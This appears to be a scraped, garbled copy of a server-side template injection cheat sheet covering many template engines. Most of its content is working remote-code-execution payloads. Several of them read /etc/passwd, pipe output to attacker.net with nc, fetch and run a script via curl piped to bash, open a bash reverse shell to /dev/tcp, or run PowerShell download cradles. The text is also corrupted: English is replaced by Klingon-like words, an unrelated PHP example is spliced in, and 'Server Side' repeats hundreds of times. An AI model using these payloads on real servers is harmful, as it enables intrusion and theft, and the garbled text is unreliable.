Server-Side Template Injection (SSTI) is a vulnerability that allows an attacker to inject malicious code into a server-side template. This can lead to remote code execution, information disclosure, and other security risks.

Exploitation

To exploit SSTI, an attacker needs to identify a vulnerable server-side template and inject their payload into it. The payload can be crafted to execute arbitrary code or retrieve sensitive information from the server.

One common way to identify SSTI vulnerabilities is by injecting template syntax and observing the server's response. If the injected syntax is interpreted and rendered in the response, it indicates a potential SSTI vulnerability.

Payloads

The payload for SSTI can vary depending on the template engine being used. Here are some examples:

Jinja2

{{7*'7'}}

Twig

{{7*'7'}}

Freemarker

${7*7}

Velocity

#set($x=7*7)$x

ERB

<%= 7*7 %>

Prevention

To prevent SSTI vulnerabilities, it is important to:

  • Keep server-side templates up to date with the latest security patches.
  • Use a secure template engine that has built-in protection against SSTI.
  • Validate and sanitize user input before using it in server-side templates.
  • Implement strict input validation to prevent injection attacks.

References

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

Qapla'!

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

Qapla'!

patTemplate (PHP)

patTemplate non-compiling PHP templating engine, XML tags vItlhutlh document vItlhutlhbe'ghach.

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

Qapla'!

Handlebars (NodeJS)

Path Traversal (more info here).

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = Qagh
  • ${7*7} = ${7*7}
  • Pagh
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

Qapla'!

JsRender (NodeJS)

Template Description
Evaluate and render output
Evaluate and render HTML encoded output
Comment
and Allow code (disabled by default)
  • = 49

Client Side

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

Server Side

**Server Side

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

Qapla'!

PugJs (NodeJS)

  • #{7*7} = 49
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}
  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

ghItlh!

var pugjs = require('pug');
home = pugjs.render(injected_page)

Qovluq

NUNJUCKS (NodeJS)

  • {{7*7}} = 49
  • {{foo}} = Qapla'
  • #{7*7} = #{7*7}
  • {{console.log(1)}} = Qatlh
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}

QaparHa'

ERB (Ruby)

  • {{7*7}} = {{7*7}}
  • ${7*7} = ${7*7}
  • <%= 7*7 %> = 49
  • <%= foobar %> = Qagh
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

Qapla'

Slim (Ruby)

  • { 7 * 7 }
{ %x|env| }

Qapla'!

Python

Check out the following page to learn tricks about arbitrary command execution bypassing sandboxes in python:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %} bypass-python-sandboxes {% endcontent-ref %}

Tornado (Python)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = Error
  • {{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}



{{os.system('whoami')}}
{{os.system('whoami')}}

Qapla'!

Jinja2 (Python)

Official website

Jinja2 vItlhutlh. Python vItlhutlh. unicode support, sandboxed execution environment, widely used and BSD licensed.

  • {{7*7}} = Error
  • ${7*7} = ${7*7}
  • {{foobar}} Nothing
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}



{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - Template format

Jinja2 - Template format

Jinja2 is a powerful and widely used template engine for Python. It provides a flexible and secure way to generate dynamic content in web applications.

Jinja2 templates are written in plain text files with a .j2 extension. These templates can contain both static content and dynamic expressions, which are enclosed in double curly braces {{ }}.

Here is an example of a simple Jinja2 template:

<html>
  <head>
    <title>{{ title }}</title>
  </head>
  <body>
    <h1>Welcome, {{ user }}!</h1>
    <p>{{ content }}</p>
  </body>
</html>

In this template, the title, user, and content variables are placeholders that will be replaced with actual values when the template is rendered.

Jinja2 supports a wide range of features, including control structures (such as loops and conditionals), filters, and macros. These features make it easy to create complex templates that can handle various data sources and generate dynamic output.

When using Jinja2 templates in a web application, it is important to properly sanitize user input to prevent server-side template injection (SSTI) vulnerabilities. SSTI occurs when an attacker is able to inject malicious code into a template, which can lead to remote code execution and other security issues.

To mitigate SSTI vulnerabilities, it is recommended to:

  • Validate and sanitize all user input before using it in a template.
  • Use a strict mode in Jinja2 to disable dangerous features, such as executing arbitrary code.
  • Limit the privileges of the user account running the web application to minimize the impact of potential attacks.

By following these best practices, you can ensure the security of your web application and prevent SSTI vulnerabilities.

{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}


RCE not dependant from __builtins__:

RCE not dependant from __builtins__:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

jInja pIq abuse ghu'vam:

{% content-ref url="jinja2-ssti.md" %} jinja2-ssti.md {% endcontent-ref %}

Payloads 'ej https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

Qapla'!

Razor (.Net)

  • @(2+2) <= Qapla'!
  • @() <= Qapla'!
  • @("{{code}}") <= Qapla'!
  • @ <= Qapla'!
  • @{} <= Qagh!
  • @{ <= Qagh!
  • @(1+2)
  • @( //C#Code )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwMAXABQAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

The .NET System.Diagnostics.Process.Start method can be used to start any process on the server and thus create a webshell. You can find a vulnerable webapp example in https://github.com/cnotin/RazorVulnerableApp

More information

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = Nothing
  • <%= response.write(date()) %> = <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

Qapla'

Mojolicious (Perl)

ghorgh, 'oH perl vItlhutlh tags ERB Ruby.

  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= perl code %>
<% perl code %>

SSTI in GO

In Go's template engine, confirmation of its usage can be done with specific payloads:

  • {{ . }}: Reveals the data structure input. For instance, if an object with a Password attribute is passed, {{ .Password }} could expose it.
  • {{printf "%s" "ssti" }}: Expected to display the string "ssti".
  • {{html "ssti"}}, {{js "ssti"}}: These payloads should return "ssti" without appending "html" or "js". Further directives can be explored in the Go documentation here.

XSS Exploitation

With the text/template package, XSS can be straightforward by inserting the payload directly. Contrastingly, the html/template package encodes the response to prevent this (e.g., {{"<script>alert(1)</script>"}} results in &lt;script&gt;alert(1)&lt;/script&gt;). Nonetheless, template definition and invocation in Go can bypass this encoding: {{define "T1"}}{{end}} {{template "T1"}}

vbnet Copy code

RCE Exploitation

RCE exploitation differs significantly between html/template and text/template. The text/template module allows calling any public function directly (using the “call” value), which is not permitted in html/template. Documentation for these modules is available here for html/template and here for text/template.

For RCE via SSTI in Go, object methods can be invoked. For example, if the provided object has a System method executing commands, it can be exploited like {{ .System "ls" }}. Accessing the source code is usually necessary to exploit this, as in the given example:

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

Qapla'!

More Exploits

Check the rest of https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection for more exploits. Also you can find interesting tags information in https://github.com/DiogoMRSilva/websitesVulnerableToSSTI

BlackHat PDF

{% file src="../../.gitbook/assets/en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf" %}

If you think it could be useful, read:

Tools

Brute-Force Detection List

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

Practice & References

RootedCON is the most relevant cybersecurity event in Spain and one of the most important in Europe. With the mission of promoting technical knowledge, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.

{% embed url="https://www.rootedcon.com/" %}

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks: